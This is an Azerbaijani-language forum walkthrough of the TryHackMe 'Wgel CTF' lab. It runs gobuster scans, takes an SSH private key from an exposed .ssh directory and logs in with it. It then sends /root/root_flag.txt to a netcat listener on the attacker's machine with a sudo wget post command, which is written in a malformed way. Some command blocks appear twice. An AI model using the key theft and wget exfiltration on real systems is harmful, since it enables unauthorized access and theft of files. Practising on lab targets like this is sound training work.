Salam bu forumda TryHackme: Wgel CTF sualina baxacagiq.
Ilk once hedef sistemi gobuster ile scan edirik.
Bash:
gobuster dir -u http://10.10.222.41 -w /usr/share/wordlists/dirb/common.txt
Bash:
gobuster dir -u http://10.10.222.41 -w /usr/share/wordlists/dirb/common.txt
Saytda sitemap adinda directory oldugunu goruruk.Daha sonra /sitemap directory bir daha gobusterle scan edirik belkede basqa bir directory vardir.
Bash:
gobuster dir -u http://10.10.222.41/sitemap -w /usr/share/wordlists/dirb/common.txt
Bash:
gobuster dir -u http://10.10.222.41/sitemap -w /usr/share/wordlists/dirb/common.txt
Scan bitdikden sonra .ssh adinda directory oldugunu goruruk.Bu bizim isimize yaraya biler. /sitemap/.ssh directory gedirik.
Budur bizim isimize yarayacaq ssh key tapdiq.Bununla biz ssh ile sisteme baglana bilerik. Bu id_rsa faylini kompyuterimize qeyd edirik ve asagidaki emr ile lazimi icazeleri veririk.
Bash:
chmod 600 id_rsa
Bash:
chmod 600 id_rsa
Asagidaki emr vasitesi ile ssh baglantisi qururuq
Bash:
ssh -i id_rsa [email protected]
Bash:
ssh -i id_rsa [email protected]
Ve budur sistemdeyik....
Bash:
locate flag.txt
emri ile flagi axtaririq.
User flagini tapdiq.
Indi root flagini tapmaliyiq. Bunun ucun root yetkisi lazimdir ancak biz bundan istifade etmeyeceyik. wget emri vasitesi ile root flagini rahatliqla oz kali linuxumuza gondere bilerik bunun ucun asagidaki emri istifade edeceyik.
Ilk once nc toolu vasitesi ile her hansisa portu dinlemeye alacagiq.
kali linux terminalimizda bu emri yazaq
Bash:
nc -nlvp 4444
bu emr ile 4444 portunu izlemeye aliriq.
Daha sonra ifconfig ile oz kali linux IP adresini oyrenek.Ancaq diqqet edinki Tryhackme vpn ile baglanmisiniz ona gore tryhackmenin verdiyi ip adresini alin.
Daha sonra hedef servere gelib terminala bu emri yaziriq.
Bash:
sudo wget -post-file-/root/root_flag.txt 10.2.0.203:4444
Daha sonra kali linux terminala daxil olub root flagini gore bilerik....
COPY PAST etmeyesiniz deye flaglari vermirem.Ozunuz hell edin
Bash:
locate flag.txt
Bash:
nc -nlvp 4444
Bash:
sudo wget -post-file-/root/root_flag.txt 10.2.0.203:4444
